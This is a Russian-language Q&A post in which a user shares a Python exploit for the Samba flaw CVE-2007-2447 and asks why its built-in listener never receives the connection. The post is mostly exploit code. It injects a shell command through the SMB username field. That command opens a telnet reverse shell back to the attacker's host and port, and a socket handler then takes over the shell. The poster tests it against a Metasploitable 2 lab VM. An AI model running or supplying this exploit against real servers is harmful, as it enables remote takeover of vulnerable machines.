Python - похоже, сокет не принимает соединение - PullRequest
0 голосов
/ 20 ноября 2018

Недавно я создавал реализацию Python модуля Metasploit для CVE2007-2447 , я нашел в Интернете базовый скрипт, который я взял из некоторых частей, а затем решил, что хочу встроить слушателя в скрипт, чтобы мне не пришлось запускать Netcat вместе со скриптом Python.

import sys
import time
import socket
import threading

from smb.SMBConnection import SMBConnection

def exploit(rHost, rPort, lHost, lPort):
    print("[+] " + rHost, rPort, lHost, lPort)
    payload = 'sh -c(sleep 4535 | telnet ' + lHost + " " + lPort + ' | while : ; do sh && break; done 2>&1 | telnet ' + lHost + " " + lPort + ' >/dev/null 2>&1 &)'
    username = "/=`nohup " + payload + "`"
    password = ""

    print("[+] " + username + password)

    s = SMBConnection(username, password, "", "", use_ntlm_v2 = True)
    #try:
    s.connect(rHost, int(rPort), timeout=1)
    print("[+] Payload sent!")
    handler(shell)
    #except Exception as e:
    #    print(e)
    #    print("[*] Fail!") 

def handler(shell):
    (conn, address) = shell.accept()
    print("[+] Connected to " + address)
    commandSender(conn)
    conn.close()

def commandSender(conn):
    shell_status = True

    shell_recv_thread = threading.Thread(target=recvStream, args=(conn, shell_status))
    shell_recv_thread.start()

    command = ''
    while shell_status == True:
        command = input()
        if command == "exit":
            shell_status = False
            conn.close()
            shell_recv_thread.join()
            sys.exit(0)
        conn.send(bytes(command + "\n", "utf-8"))

def recvStream(conn, addr, status):
    status = True

    while status == True:
        try:
            print(conn.recv(1024))
        except conn.timeout:
            pass
        except Exception as e:
            print(e)
            print("[*] Failed Shell Interaction...")

if __name__ == '__main__':
    print("[*] CVE2007-2447")
    if len(sys.argv) != 5:
        print("[-] usage: <RHOST> <RPORT> <LHOST> <LPORT>")
    else:
        print("[+] Exectuting...")

        shell = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        shell.bind((sys.argv[3], int(sys.argv[4])))
        shell.listen(10)

        rHost = sys.argv[1]
        rPort = sys.argv[2]
        lHost = sys.argv[3]
        lPort = sys.argv[4]

        exploit(rHost, rPort, lHost, lPort)

Как видите, сценарий для этого эксплойта довольно прост: из-за неанизированного ввода пользователя злоумышленник может отправлять команды на уязвимое устройство в поле имени пользователя. Я проверил Netstat, пока запускаю скрипт, и вижу, что моя машина определенно прослушивает порт, указанный для lPort, но по какой-то причине сокет, похоже, не может принять соединение. Чтобы протестировать код, я запускаю его внутри виртуальной машины Ubuntu для Metasploitable 2 , который работает в отдельной виртуальной машине в той же подсети.

...